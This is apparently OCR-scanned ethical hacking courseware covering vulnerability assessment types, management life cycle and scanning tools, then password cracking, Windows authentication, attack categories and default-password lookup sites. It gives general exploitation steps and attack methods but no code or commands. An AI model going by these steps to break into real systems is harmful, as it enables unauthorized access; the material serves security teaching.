Figure 3.16: Screenshot showing CWE results for SMB query
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Types of Vulnerability Assessment

—~—~
—_

Active
Assessment

External
Assessment

Host-based
Assessment

Application
Assessment

Uses a network scanner to find hosts, services, and
vulnerabilities

Assesses the network from a hacker's perspective to
discover exploits and vulnerabilities that are accessible
to the outside world

Conducts a configuration-level check to identify
system configurations, user directories, file systems,
registry settings, etc., to evaluate the possibility of
compromise

Tests and analyzes all elements of the web
infrastructure for any misconfiguration, outdated
content, or known vulnerabilities

Copyright © by EC-Gouncil. All Rights Reserved. Reproductionis Strictly Prohibited.

Used to sniff the network traffic to discover present
active systems, network services, applications, and
vulnerabilities present

Scans the internal infrastructure to discover exploits
and vulnerabilities

Determines possible network security attacks that
may occur on the organization’s system

Focuses on testing databases, such as MYSQL, MSSQL,
ORACLE, POSTGRESAQL, etc., for the presence of data
exposure or injection type vulnerabilities
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Types of Vulnerability Assessment (Cont’d)

Passive
Assessment

Internal
Assessment

Network-
based
Assessment

Database
Assessment
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Wireless Network Assessment Distributed Assessment
EI Determines the vulnerabilities in the Assesses the distributed organization assets, such

Credentialed Assessment Non-Credentialed Assessment

Assesses the network by obtaining the Assesses the network without acquiring any
credentials of all machines present in the credentials of the assets present in the

network enterprise network

Manual Assessment Automated Assessment

In this type of assessment, the ethical hacker In this type of assessment, the ethical hacker
manually assesses the vulnerabilities, employs various vulnerability assessment tools,

Types of Vulnerability Assessment (Cont’d)

as client and server applications, simultaneously
through appropriate synchronization techniques

organization’s wireless networks

vulnerability ranking, vulnerability score, etc. such as Nessus, Qualys, GFl LanGuard, etc.

Copyright © by EC-Gouncil. All Rights Reserved. Reproductionis Strictly Prohibited.

Types of Vulnerability Assessment

Given below are the different types of vulnerability assessments:

Active Assessment

A type of vulnerability assessment that uses network scanners to identify the hosts,
services, and vulnerabilities present in a network. Active network scanners can reduce
the intrusiveness of the checks they perform.

Passive Assessment

Passive assessments sniff the traffic present on the network to identify the active
systems, network services, applications, and vulnerabilities. Passive assessments also
provide a list of the users who are currently accessing the network.

External Assessment

External assessment examines the network from a hacker’s point of view to identify
exploits and vulnerabilities accessible to the outside world. These types of assessments
use external devices such as firewalls, routers, and servers. An external assessment
estimates the threat of network security attacks from outside the organization. It
determines the level of security of the external network and firewall.

The following are some of the possible steps in performing an external assessment:

o Determine a set of rules for firewall and router configurations for the external
network

o Check whether the external server devices and network devices are mapped

o Identify open ports and related services on the external network
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o Examine the patch levels on the server and external network devices

o Review detection systems such as IDS, firewalls, and application-layer protection
systems

o Getinformation on DNS zones

o Scan the external network through a variety of proprietary tools available on the
Internet

o Examine Web applications such as e-commerce and shopping cart software for
vulnerabilities

= Internal Assessment

An internal assessment involves scrutinizing the internal network to find exploits and
vulnerabilities. The following are some of the possible steps in performing an internal
assessment:

o Specify the open ports and related services on network devices, servers, and
systems

o Check the router configurations and firewall rule sets
o List the internal vulnerabilities of the operating system and server
o Scan for any trojans that may be present in the internal environment

o Check the patch levels on the organization’s internal network devices, servers, and
systems

o Check for the existence of malware, spyware, and virus activity and document them
o Evaluate the physical security
o ldentify and review the remote management process and events
o Assess the file-sharing mechanisms (for example, NFS and SMB/CIFS shares)
o Examine the antivirus implementation and events
= Host-based Assessment

Host-based assessments are a type of security check that involve conducting a
configuration-level check to identify system configurations, user directories, file
systems, registry settings, and other parameters to evaluate the possibility of
compromise. These assessments check the security of a particular network or server.
Host-based scanners assess systems to identify wvulnerabilities such as native
configuration tables, incorrect registry or file permissions, and software configuration
errors. Host-based assessments use many commercial and open-source scanning tools.

= Network-based Assessment

Network assessments determine the possible network security attacks that may occur
on an organization’s system. These assessments discover network resources and map
the ports and services running to various areas on the network. It evaluates the
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organization’s system for vulnerabilities such as missing patches, unnecessary services,
weak authentication, and weak encryption. Network assessment professionals use
firewalls and network scanners, such as Nessus. These scanners identify open ports,
recognize the services running on those ports, and detect vulnerabilities associated with
these services. These assessments help organizations identify points of entry and attack
into a network since they follow the path and approach of the hacker. They help
organizations determine how systems are vulnerable to Internet and intranet attacks,
and how an attacker can gain access to important information. A typical network
assessment conducts the following tests on a network:

o Checks the network topologies for inappropriate firewall configuration
o Examines the router filtering rules
o ldentifies inappropriately configured database servers
o Tests individual services and protocols such as HTTP, SNMP, and FTP
o Reviews HTML source code for unnecessary information
o Performs bounds checking on variables
= Application Assessment

An application assessment focuses on transactional web applications, traditional client-
server applications, and hybrid systems. It analyzes all elements of an application
infrastructure, including deployment and communication within the client and server.
This type of assessment tests the webserver infrastructure for any misconfiguration,
outdated content, or known vulnerabilities. Security professionals use both commercial
and open-source tools to perform such assessments.

= Database Assessment

A database assessment is any assessment focused on testing the databases for the
presence of any misconfiguration or known vulnerabilities. These assessments mainly
concentrate on testing various database technologies like MYSQL, MSSQL, ORACLE, and
POSTGRESQL to identify data exposure or injection type vulnerabilities. Security
professionals use both commercial and open-source tools to perform such assessments.

= Wireless Network Assessment

Wireless network assessment determines the vulnerabilities in an organization’s
wireless networks. In the past, wireless networks used weak and defective data
encryption mechanisms. Now, wireless network standards have evolved, but many
networks still use weak and outdated security mechanisms and are open to attack.
Wireless network assessments try to attack wireless authentication mechanisms and
gain unauthorized access. This type of assessment tests wireless networks and identifies
rogue networks that may exist within an organization’s perimeter. These assessments
audit client-specified sites with a wireless network. They sniff wireless network traffic
and try to crack encryption keys. Auditors test other network access if they gain access
to the wireless network.
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= Distributed Assessment

This type of assessment, employed by organizations that possess assets like servers and
clients at different locations, involves simultaneously assessing the distributed
organization assets, such as client and server applications, using appropriate
synchronization techniques. Synchronization plays a critical role in this type of
assessment. By synchronizing the test runs together, all the separate assets situated at
multiple locations can be tested at the same time.

= Credentialed Assessment

Credentialed assessment is also called authenticated assessment. In this type of
assessment, the security professional possesses the credentials of all machines present
in the assessed network. The chances of finding vulnerabilities related to operating
systems and applications are higher in credential assessment than in non-credential
assessment. This type of assessment is challenging since it is highly unclear who owns
particular assets in large enterprises, and even when the security professional identifies
the actual owners of the assets, accessing the credentials of these assets is highly tricky
since the asset owners generally do not share such confidential information. Also, even
if the security professional successfully acquires all required credentials, maintaining the
password list is a huge task since there can be issues with things like changed
passwords, typing errors, and administrative privileges. Although it is the best way of
assessing a target enterprise network for vulnerabilities and is highly reliable, it is a
complex assessment that is challenging.

= Non-Credentialed Assessment

Non-credentialed assessment, also called unauthenticated assessment, provides a quick
overview of weaknesses by analyzing the network services that are exposed by the host.
Since it is a non-credential assessment, a security professional does not require any
credentials for the assets to perform their assessments. This type of assessment
generates a brief report regarding vulnerabilities; however, it is not reliable because it
does not provide deeper insight into the OS and application vulnerabilities that are not
exposed by the host to the network. This assessment is also incapable of detecting the
vulnerabilities that are potentially covered by firewalls. It is prone to false-positive
outputs and is not reliably effective as compared to credential-based assessment.

=  Manual Assessment

After performing footprinting and network scanning and obtaining crucial information, if
the security professional performs manual research for exploring the vulnerabilities or
weaknesses, they manually rank the vulnerabilities and score them by referring to
vulnerability scoring standards like CVSS and vulnerability databases like CVE and CWE.
Such assessment is considered to be manual.

=  Automated Assessment

An assessment where a security professional uses vulnerability assessment tools such as
Nessus, Qualys, or GFl LanGuard to perform a vulnerability assessment of the target is
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called an automated assessment. Unlike manual assessments, in this type of
assessment, the security professional does not perform footprinting and network
scanning. They employ automated tools that can perform all such activities and are also
capable of identifying weaknesses and CVSS scores, acquiring critical CVE/CWE
information related to the vulnerability, and suggesting remediation strategies.

Module 03 Page 216 Ethical Hacking Essentials Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials Exam 112-52
Information Security Threats and Vulnerability Assessment

Vulnerability-Management Life Cycle

Identify
Assets and

- |
EE& Monitor

Create Risk Remediation Verification é
a Baseline Assessment -
o =
=¢ o o

Copyright © by EC-Gouncil. All Rights Reserved. Reproductionis Strictly Prohibited.

Vulnerability-Management Life Cycle

The vulnerability management life cycle is an important process that helps identify and
remediate security weaknesses before they can be exploited. This includes defining the risk
posture and policies for an organization, creating a complete asset list of systems, scanning, and
assessing the environment for vulnerabilities and exposures, and taking action to mitigate the
vulnerabilities that are identified. The implementation of a vulnerability management lifecycle
helps gain a strategic perspective regarding possible cybersecurity threats and renders insecure
computing environments more resilient to attacks.

Vulnerability management should be implemented in every organization as it evaluates and
controls the risks and vulnerabilities in the system. The management process continuously
examines the IT environments for vulnerabilities and risks associated with the system.

Organizations should maintain a proper vulnerability management program to ensure overall
information security. Vulnerability management provides the best results when it is
implemented in a sequence of well-organized phases.

The phases involved in vulnerability management are:
= |dentify Assets and Create a Baseline

This phase identifies critical assets and prioritizes them to define the risk based on the
criticality and value of each system. This creates a good baseline for vulnerability
management. This phase involves the gathering of information about the identified
systems to understand the approved ports, software, drivers, and basic configuration of
each system in order to develop and maintain a system baseline.
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=  Vulnerability Scan

This phase is very crucial in vulnerability management. In this step, the security analyst
performs the vulnerability scan on the network to identify the known vulnerabilities in
the organization’s infrastructure. Vulnerability scans can also be performed on
applicable compliance templates to assess the organization’s Infrastructure weaknesses
against the respective compliance guidelines.

= Risk Assessment

In this phase, all serious uncertainties that are associated with the system are assessed
and prioritized, and remediation is planned to permanently eliminate system flaws. The
risk assessment summarizes the vulnerability and risk level identified for each of the
selected assets. It determines whether the risk level for a particular asset is high,
moderate, or low. Remediation is planned based on the determined risk level. For
example, vulnerabilities ranked high-risk are targeted first to decrease the chances of
exploitation that would adversely impact the organization.

= Remediation

Remediation is the process of applying fixes on vulnerable systems in order to reduce
the impact and severity of vulnerabilities. This phase is initiated after the successful
implementation of the baseline and assessment steps.

= Verification

In this phase, the security team performs a re-scan of systems to assess if the required
remediation is complete and whether the individual fixes have been applied to the
impacted assets. This phase provides clear visibility into the firm and allows the security
team to check whether all the previous phases have been perfectly employed or not.
Verification can be performed by using various means such as ticketing systems,
scanners, and reports.

=  Monitor

Organizations need to performed regular monitoring to maintain system security. They
use tools such as IDS/IPS and firewalls. Continuous monitoring identifies potential
threats and any new vulnerabilities that have evolved. As per security best practices, all
phases of vulnerability management must be performed regularly.
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Vulnerability Assessment Tools: Qualys Vulnerability
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Vulnerability Assessment Tools: OpenVAS and
GFI LanGuard
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connected devices
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Vulnerability Assessment Tools

An attacker performs vulnerability scanning to identify security loopholes in the target network
that they can exploit to launch attacks. Security analysts can use vulnerability assessment tools
to identify weaknesses present in the organization’s security posture and remediate the

identified vulnerabilities before an attacker exploits them.

Network vulnerability scanners help to analyze and identify vulnerabilities in the target network
or network resources by using vulnerability assessment and network auditing. These tools also
assist in overcoming weaknesses in the network by suggesting various remediation techniques.

The following are some of the most effective vulnerability assessment tools:

= Qualys Vulnerability Management

Source: https://www.qualys.com

Qualys VM is a cloud-based service that gives immediate, global visibility into where IT
systems might be vulnerable to the latest Internet threats and how to protect them. It
helps to continuously identify threats and monitor unexpected changes in a network
before they turn into breaches.
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Figure 3.17: Vulnerability scanning using Qualys Vulnerability Management

= OpenVAS

Source: https://www.openvas.org

OpenVAS is a framework of several services and tools that offer a comprehensive and
powerful vulnerability scanning and vulnerability management solution. The framework
is part of Greenbone Network’s commercial vulnerability management solution,
developments from which have been contributed to the open-source community since

20089.

The actual security scanner is accompanied by a regularly updated feed of Network
Vulnerability Tests (NVTs), over 50,000 in total.
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Figure 3.18: Vulnerability scanning using OpenVAS
= GFl LanGuard

Source: https://www.gfi.com

GFI LanGuard scans for, detects, assesses, and rectifies security vulnerabilities in a
network and its connected devices. This is done with minimal administrative effort. It
scans the operating systems, virtual environments, and installed applications through
vulnerability check databases. It enables analysis of the state of network security,
identifies risks, and offers solutions before the system can be compromised.
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Figure 3.19: Vulnerability scanning using GFI LanGuard
Listed below are some of the additional vulnerability assessment tools:
= Nessus Professional (https://www.tenable.com)
= Nikto (https://cirt.net)
= Qualys FreeScan (https.//freescan.qualys.com)
=  Acunetix Web Vulnerability Scanner (https://www.acunetix.com)
= Nexpose (https://www.rapid7.com)
= Network Security Scanner (https://www.beyondtrust.com)
= SAINT Security Suite (https.//www.carson-saint.com)
=  beSECURE (AVDS) (https.//www.beyondsecurity.com)
= Core Impact Pro (https://www.coresecurity.com)
= N-Stalker Web Application Security Scanner (https://www.nstalker.com)
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O Vulnerability exploitation involves the execution of multiple
complex, interrelated steps to gain access to a remote system

Vulnerability O The steps involved are as follows:
Exploitation

Identify the vulnerability

Determine the risk associated with the vulnerability

''''' Determine the capability of the vulnerability

Develop the exploit

Select the method for delivering — local or remote

Generate and deliver the payload

Gain remote access
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Vulnerability Exploitation

Vulnerability exploitation involves the execution of multiple complex, interrelated steps to gain
access to a remote system. Attackers can perform exploitation only after discovering
vulnerabilities in that target system. Attackers use discovered vulnerabilities to develop exploits
and deliver and execute the exploits on the remote system.

Steps involved in exploiting vulnerabilities:
1. Identify the Vulnerability

Attackers identify the vulnerabilities that exist in the target system using various
techniques such as footprinting and reconnaissance, scanning, enumeration, and
vulnerability analysis. After identifying the OSs used and vulnerable services running on
the target system, attackers also use various online exploit sites such as Exploit

Database (https://www.exploit-db.com) and SecurityFocus
(https://www.securityfocus.com) to detect wvulnerabilities in underlying OS and
applications.

2. Determine the Risk Associated with the Vulnerability

After identifying a vulnerability, attackers determine the risk associated with the
vulnerability, i.e., whether exploitation of this vulnerability sustains the security
measures on the target system.

3. Determine the Capability of the Vulnerability

If the risk is low, attackers can determine the capability of exploiting this vulnerability to
gain remote access to the target system.
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4. Develop the Exploit

After determining the capability of the vulnerability, attackers use exploits from online
exploit sites such as Exploit Database (https://www.exploit-db.com), or develop their
own exploits using exploitation tools such as Metasploit.

5. Select the Method for Delivering — Local or Remote

Attackers perform remote exploitation over a network to exploit vulnerability existing in
the remote system to gain shell access. If attackers have prior access to the system, they
perform local exploitation to escalate privileges or execute applications in the target
system.

6. Generate and Deliver the Payload

Attackers, as part of exploitation, generate or select malicious payloads using tools such
as Metasploit and deliver it to the remote system either using social engineering or
through a network. Attackers inject malicious shellcode in the payloads, which, when
executed, establishes a remote shell to the target system.

7. Gain Remote Access

After generating the payload, attackers run the exploit to gain remote shell access to the
target system. Now, attackers can run various malicious commands on the remote shell
and control the system.
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Module Summary

®—< This module has discussed threat and threat sources

=~ 9 @—4 It also discussed in detail on malware and its types

This module also discussed in detail on vulnerabilities and classification
of vulnerabilities

Finally, this module ended with a detailed discussion of vulnerability assessment
concepts such as vulnerability research, vulnerability scoring systems and
databases, vulnerability management life cycle, and vulnerability exploitation

In the next module, we will discuss in detail on various password cacking
techniques and countermeasures
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Module Summary

This module has discussed threat and threat sources. It also discussed in detail malware and its
types. It also provided an overview of malware countermeasures. This module also discussed in
detail vulnerabilities and classification of vulnerabilities. Finally, the module ended with a
detailed discussion on vulnerability assessment concepts such as vulnerability research,
vulnerability scoring systems and databases, vulnerability management life cycle, and
vulnerability exploitation.

In the next module, we will discuss in detail the various password cracking techniques and
countermeasures.
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Module Objectives

Understanding the Password Cracking and
Password Complexity

9 Understanding Microsoft Authentication

e Understanding Various Types of Password Attacks

* % ok x x|

=i Overview of Password Cracking Tools

i)

e Understanding Countermeasures against Password Attacks
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Module Objectives

Weak password selection has been the most common security weakness faced by organizations
and individuals in recent times. Attackers use many sophisticated techniques and tools to crack
passwords and gain access to critical systems and networks. An in-depth understanding of
password cracking techniques and the corresponding defensive measures can help individuals
and organizations create strong password policies and protect personal or corporate
information.

This module starts with an overview of password cracking and password complexity. It provides
an insight into various password cracking techniques. Later, the module discusses various
password cracking tools and ends with a brief discussion on password cracking
countermeasures.

At the end of this module, you will be able to do the following:
= Understand the password cracking and password complexity
= Describe the Microsoft authentication mechanisms
= Explain various types of password attacks
= Use different password cracking tools

= Adopt countermeasures against password cracking attacks
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Module Flow

1 Discuss Password Cracking
Techniques

Discuss Password Cracking
Tools

2

3 Discuss Password Cracking
Countermeasures
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Discuss Password Cracking Techniques

Attackers are discovering new sophisticated password cracking techniques through which even
strong passwords are being cracked. This section lays out an overview of password cracking and

its complexity. It discusses various types of password attacks.
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Password

Cracking

Password cracking techniques Attackers use password Most of the password cracking
are used to recover cracking techniques to techniques are successful
passwords from computer gain unauthorized access because of weak or easily
systems to vulnerable systems guessable passwords

Copyright © by EC-Gouncil. All Rights Reserved. Reproductionis Strictly Prohibited.
.
Password Cracking

Password cracking is the process of recovering passwords from the data transmitted by a
computer system or from the data stored in it. The purpose of cracking a password might be to
help a user recover a forgotten or lost password, as a preventive measure by system
administrators to check for easily breakable passwords, or for use by an attacker to gain
unauthorized system access.

Hacking often begins with password-cracking attempts. A password is a key piece of
information necessary to access a system. Consequently, most attackers use password-cracking
techniques to gain unauthorized access. An attacker may either crack a password manually by
guessing it or use automated tools and techniques such as a dictionary or a brute-force
method. Most password-cracking techniques are successful because of weak or easily
guessable passwords.
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Password Complexity

0 0

Passwords that contain B an Passwords that contain
letters, special characters, \ only letters POTHMYDE
and numbers ap1@52

Passwords that contain Passwords that contain only
only numbers 23698217 letters and special characters
bob@&ba
Passwords that contain Passwords that contain Passwords that contain only
only special characters letters and numbers special characters and
&*H@(%) meet123 numbers 123@$45
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Password Complexity

Password complexity plays a key role in improving security against attacks. It is the most
important element that users should ensure while creating a password. The password should
not be simple, as such passwords are prone to attacks. The passwords that you choose should
always be complex, long, and difficult to remember. The password that you are setting for your
account must meet the complexity requirements of the policy setting.

Password characters should be a combination of alphanumeric characters. Alphanumeric
characters consist of letters, numbers, punctuation marks, and mathematical and other
conventional symbols.

See the implementation that follows for the exact characters referred to here:
= Passwords that contain letters, special characters, and numbers: ap1@52
= Passwords that contain only numbers: 23698217
= Passwords that contain only special characters: &*#@!(%)
= Passwords that contain letters and numbers: meet123
= Passwords that contain only letters: POTHMYDE
= Passwords that contain only letters and special characters: bob@&ba
= Passwords that contain only special characters and numbers: 123@$45
= Passwords that contain only uppercase and lowercase letters, such as: RUNnEr

= Passwords that contain more than 20 characters comprising a phrase: such as
Hardtocrackveryeasily
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= Passwords that contain shortcut codes or acronyms, such as L8r_L8rNot2day (i.e., later,
later, not today)

= Passwords that contain frequently used words specifying websites, such as
ABT2_uz_AMZ! (i.e., about to use Amazon!)

= Passwords that contain the first letters of words of a long sentence, such as
TffcievwMilewiwdmb5g (i.e., the first foreign country | ever visited was Mexico in 2016
when | was doing my 5th grade)
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Microsoft Authentication

Security Accounts Manager (SAM) Database

O Windows stores user passwords in SAM, or in the Active Directory
database in domains

O Passwords are never stored in clear text and are hashed, and the Wil Sy
results are stored in the SAM Entene e e denticls

Enter your credentials to connect to: RD

NTLM Authentication

| User name

O The NTLM authentication protocol types are as follows: NTLM
authentication protocol and LM authentication protocol | passworc

0 These protocols store the user’s password in the SAM [[] Remember my credentials

database using different hashing methods
The user name or password is incorrect.

Kerberos Authentication oK Cancel

U Microsoft has upgraded its default authentication protocol to
Kerberos which provides a stronger authentication for client/server
applications than NTLM
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Microsoft Authentication

When users log in to a Windows computer, a series of steps are performed for user
authentication. The Windows OS authenticates its users with the help of three mechanisms
(protocols) provided by Microsoft.

= Security Accounts Manager (SAM) Database

Windows uses the Security Accounts Manager (SAM) database or Active Directory
Database to manage user accounts and passwords in hashed format (a one-way hash).
The system does not store the passwords in plaintext format but in a hashed format, to
protect them from attacks. The system implements the SAM database as a registry file,
and the Windows kernel obtains and keeps an exclusive filesystem lock on the SAM file.
As this file consists of a filesystem lock, this provides some measure of security for the
storage of passwords.

It is not possible to copy the SAM file to another location in the case of online attacks.
Because the system locks the SAM file with an exclusive filesystem lock, a user cannot
copy or move it while Windows is running. The lock does not release until the system
throws a blue screen exception, or the OS has shut down. However, to make the
password hashes available for offline brute-force attacks, attackers can dump the on-
disk contents of the SAM file using various techniques.

Even if hackers use subterfuge techniques to discover the contents, the encrypted keys
with a one-way hash make it difficult to hack. In addition, some versions have a
secondary key, which makes the encryption specific to that copy of the OS.
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= NTLM Authentication

NT LAN Manager (NTLM) is a default authentication scheme that performs
authentication using a challenge/response strategy. Because it does not rely on any
official protocol specification, there is no guarantee that it works effectively in every
situation. Furthermore, it has been used in some Windows installations, where it
successfully worked. NTLM authentication consists of two protocols: NTLM
authentication protocol and LAN Manager (LM) authentication protocol. These
protocols use different hash methodologies to store users’ passwords in the SAM
database.

=  Kerberos Authentication

Kerberos is a network authentication protocol that provides strong authentication for
client/server applications through secret-key cryptography. This protocol provides
mutual authentication, in that both the server and the user verify each other’s identity.
Messages sent through Kerberos protocol are protected against replay attacks and
eavesdropping.

Kerberos employs the Key Distribution Center (KDC), which is a trusted third party. This
consists of two logically distinct parts: an authentication server (AS) and a ticket-
granting server (TGS). Kerberos uses “tickets” to prove a user’s identity.

Microsoft has upgraded its default authentication protocol to Kerberos, which provides
a stronger authentication for client/server applications than NTLM.

Windows Security X

Enter network credentials

Enter your credentials to connect to: RD

‘ User name ‘

|:| Remember my credentials

The user name or password is incorrect.

OK Cancel

Figure 4.1: Screenshot of Windows authentication
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Types of Password Attacks

Non-Electronic Attacks (o) H
The attacker does not need technical §°°
)

knowledge to crack the password,

hence it is known as a non-technical
attack

= Shoulder Surfing

) ) . Active Online Attacks
= Social Engineering

= Dumpster Diving The attacker performs password cracking by
directly communicating with the victim’s
machine

m = Dictionary, Brute Forcing, and Rule-based
o © Attack
= Hash Injection Attack

}
r\_ = LLMNR/NBT-NS Poisoning
= Trojan/Spyware/Keyloggers

= Password Guessing
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Types of Password Attacks (Cont’d)

-
!

Passive Online Attacks

The attacker performs password cracking
without communicating with the
authorizing party

= Wire Sniffing
= Man-in-the-Middle Attack
= Replay Attack

Offline Attacks
The attacker copies the target’s password file
and then tries to crack passwords on his own
‘e system at a different location
| = Rainbow Table Attack (Pre-Computed Hashes)

= Distributed Network Attack
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Types of Password Attacks

Password cracking is one of the crucial stages of system hacking. Password-cracking
mechanisms often exploit otherwise legal means to gain unauthorized system access, such as
recovering a user’s forgotten password.
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Classification of password attacks depends on the attacker’s actions, which are of the following
four types:

Non-Electronic Attacks: This is, for most cases, the attacker’s first attempt at gaining
target system passwords. Non-electronic or non-technical attacks do not require any
technical knowledge about hacking or system exploitation. Techniques used to perform
non-electronic attacks include shoulder surfing, social engineering, dumpster diving, etc.

Active Online Attacks: This is one of the easiest ways to gain unauthorized
administrator-level system access. Here, the attacker communicates with the target
machine to gain password access. Techniques used to perform active online attacks
include password guessing, dictionary and brute-forcing attacks, hash injection,
LLMNR/NBT-NS poisoning, use of Trojans/spyware/keyloggers, internal monologue
attacks, Markov-chain attacks, Kerberos password cracking, etc.

Passive Online Attacks: A passive attack is a type of system attack that does not lead to
any changes in the system. In this attack, the attacker does not have to communicate
with the system, but passively monitor or record the data passing over the
communication channel, to and from the system. The data are then used to break into
the system. Techniques used to perform passive online attacks include wire sniffing,
man-in-the-middle attacks, replay attacks, etc.

Offline Attacks: Offline attacks refer to password attacks in which an attacker tries to
recover cleartext passwords from a password hash dump. Offline attacks are often time-
consuming but have a high success rate, as the password hashes can be reversed owing
to their small keyspace and short length. Attackers use pre-computed hashes from
rainbow tables to perform offline and distributed network attacks.
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Dictionary, Brute-Force, and Rule-based Attack

Dictionary Attack Brute-Force Attack Rule-based Attack
A dictionary file is loaded The program tries every This attack is used when the
into the cracking application combination of characters attacker gets some
that runs against user until the password is broken information about the
accounts password
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Dictionary, Brute-Force, and Rule-based Attack

Dictionary Attack

In this type of attack, a dictionary file is loaded into a cracking application that runs
against user accounts. This dictionary is a text file that contains several dictionary words
commonly used as passwords. The program uses every word present in the dictionary to
find the password. In addition to a standard dictionary, an attackers’ dictionaries
contain entries with numbers and symbols added to words (e.g., “3December!962”).
Simple keyboard finger rolls (“qwer0987”), which many believe to produce random and
secure passwords, are thus included in such a dictionary. Dictionary attacks are more
useful than brute-force attacks, however, the former cannot be performed in systems
using passphrases.

This attack is applicable in two situations:

o In cryptanalysis, to discover the decryption key for obtaining the plaintext from a
ciphertext

o In computer security, to bypass authentication and access the control mechanism of
the computer by guessing passwords

Methods to improve the success of a dictionary attack:

o Use of several different dictionaries, such as technical and foreign dictionaries,
which increases the number of possibilities

o Use of string manipulation along with the dictionary (e.g., if the dictionary contains
the word “system,” string manipulation creates anagrams like “metsys,” among
others)
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Brute-Force Attack

In a brute-force attack, attackers try every combination of characters until the password
is broken. Cryptographic algorithms must be sufficiently hardened to prevent a brute-
force attack, which is defined by the RSA as follows: “Exhaustive key-search, or brute-
force search, is the basic technique for trying every possible key in turn until the correct
key is identified.”

A brute-force attack is when someone tries to produce every single encryption key for
data to detect the needed information. Even today, only those with enough processing
power could successfully perform this type of attack.

Cryptanalysis is a brute-force attack on encryption that employs a search of the
keyspace. In other words, testing all possible keys is one of the attempts to recover the
plaintext used to produce a particular ciphertext. The detection of a key or plaintext that
is faster than a brute-force attack is one way of breaking the cipher. A cipher is secure if
no method exists to break it other than a brute-force attack. In general, all ciphers are
deficient in mathematical proof of security. If the user chooses keys randomly or
searches randomly, the plaintext will become available on average after the system has
tried half of all the possible keys.

Some of the considerations for brute-force attacks are as follows:
o Itis atime-consuming process

o All passwords will eventually be found

Rule-based Attack

Attackers use this type of attack when they obtain some information about the
password. This is a more powerful attack than dictionary and brute-force attacks
because the cracker knows the password type. For example, if the attacker knows that
the password contains a two- or three-digit number, he/she can use some specific
techniques to extract the password quickly.

By obtaining useful information, such as the method in which numbers and/or special
characters have been used, and password length, attackers can minimize the time
required to crack the password and therefore enhance the cracking tool. This technique
involves brute force, a dictionary, and syllable attacks.

For online password-cracking attacks, an attacker will sometimes use a combination of
both brute force and a dictionary. This combination falls into the categories of hybrid
and syllable password-cracking attacks.

o Hybrid Attack

This type of attack depends on the dictionary attack. Often, people change their
passwords merely by adding some numbers to their old passwords. In this case, the
program would add some numbers and symbols to the words from the dictionary to
try to crack the password. For example, if the old password is “system,” then there is
a chance that the person will change it to “system1” or “system2.”
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o Syllable Attack

Exam 112-52

Hackers use this cracking technique when passwords are not known words.
Attackers use the dictionary and other methods to crack them, as well as all possible

combinations of them.
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Password Guessing

The attacker creates a list of all possible passwords
Frequency of attacks is less | from the information collected through social Failure rate is high
engineering or any other way and manually inputs
them on the victim’s machine to crack the
passwords

1) 2 3 4
Find a valid user Create a list of Rank passwords Key in each
possible from high to low password, until the
passwords probability correct password is
discovered
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Password Guessing

Password guessing is a password-cracking technique that involves attempting to log on to the
target system with different passwords manually. Guessing is the key element of manual
password cracking. The attacker creates a list of all possible passwords from the information
collected through social engineering or any other method and tries them manually on the
victim’s machine to crack the passwords.

The following are the steps involved in password guessing:
= Find a valid user
= Create a list of possible passwords
= Rank passwords from high to low probability
= Key in each password, until the correct password is discovered

Hackers can crack passwords manually or by using automated tools, methods, and algorithms.
They can also automate password cracking using a simple FOR loop or create a script file that
tries each password in a list. These techniques are still considered manual cracking. The failure
rate of this type of attack is high.

Module 04 Page 240 Ethical Hacking Essentials Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials
Password Cracking Techniques and Countermeasures

Exam 112-52

O A default password is a password supplied
by the manufacturer with new equipment
(e.g., switches, hubs, routers) that is
password protected

O Attackers use default passwords present in
the list of words or dictionary to perform
password guessing attack

https://www.fortypoundhead.com
https://cirt.net
http.//www.defaultpassword.us
https://www.routerpasswords.com
https://default-password.info

NI NI

Default Passwords

DEFAULT

PASSWORDS

5919 Default Passwords ol

777vendors!

r
Last Updated: 7/6/2018 10:54:17 PM

To begin, Select the vendor of the prodiuct you are looking for.
Click here to add new defauit passwords to this list.

Open Sez Me! :: Passwords

$Top 26 Most Used
Passwords
3Com
Accelerated Networks
ACTI
AddTron
Adtran

Agere
Airway

Aice Alien Technology

Allot
AMI
Amptron
Apache
Arescom
Ascend
Asus
Attachmate

*Top 20 Most Used

ATM PINS
360
ACCONET
Actiontec
ADIC
Advanced
Integration
AIRAYA
Aladdin

Alpha
Amigo
AMX
APC
Arlotto
Ascom
ATET

Audioactive

1Net1

M
Accton
Adaptec
Adobe

Advantek Networks

Airlinkio1
Alaxala
Allied Data
Alteon
Amino
Andover Controls
Apple
ARRIS
Asmack
Atcom
Autodesk

2Wire

Jware
Aceex
ADB
ADP
Aerohive

Airnet

Alcatel Lucent
Allied Telesyn

Alvarion
AMIT
Anker

ARC Wireless
Arrowpoint

Asmax
Atheros
Avaya

360 Systems

Abocom
Acer
ADC Kentrox
ADT
Aethra

Airtight Networks

Alcatel
Allied
Ambicom
Amitech
A0C
Arcor
Artem
Aspect
Atlantis

Avenger News

System

388

Acc
Acorp
AdComplete.com
Adtech
Agasio

Airvast
AlfaNetwork
Allnet
Ambit
Amped Wireless
AOpen
Areca
Asante
AST
Atlassian
Award

https://open-sez.me
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Default Passwords

Default passwords are those supplied by manufacturers with new equipment (e.g., switches,
hubs, routers). Usually, default passwords provided by the manufacturers of password-
protected devices allow the user to access the device during the initial setup and then change
the password. However, often an administrator will either forget to set the new password or
ignore the password-change recommendation and continue using the original password.
Attackers can exploit this lapse and find the default password for the target device from
manufacturer websites or using online tools that show default passwords to access the target
device successfully. Attackers use default passwords in the list of words or dictionary that they
use to perform password-guessing attacks.

The following are some of the online tools to search default passwords:

= https://open-sez.me

= https://www.fortypoundhead.com

= https://cirt.net

= http://www.defaultpassword.us

= https://www.routerpasswords.com

= https://default-password.info
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FAULT
PHDSSE ngDS Open Sez Me! :: Passwords
5919 Default Passwords for thousands of systems from 777 vendors!
Last Updated: 7/6/2018 10:54:17 PM
To begin, Select the vendor of the product you are looking for.
Click here to add new default passwords to this list.
$ Top 26 Most Used “Top 20 Most Used 1Net1 2Wire 360 Systems 3BB
Passwords ATM PINS
3Com 3G0 3M 3ware Abocom ACC
Accelerated Networks ACCONET Accton Aceex Acer Acorp
ACTi Actiontec Adaptec ADB ADC Kentrox AdComplete.com
AddTron ADIC Adobe ADP ADT Adtech
Adtran Advanced Advantek Networks Aerohive Aethra Agasio
Integration
Agere AIRAYA Airlink1o1 Airnet Airtight Networks AirVast
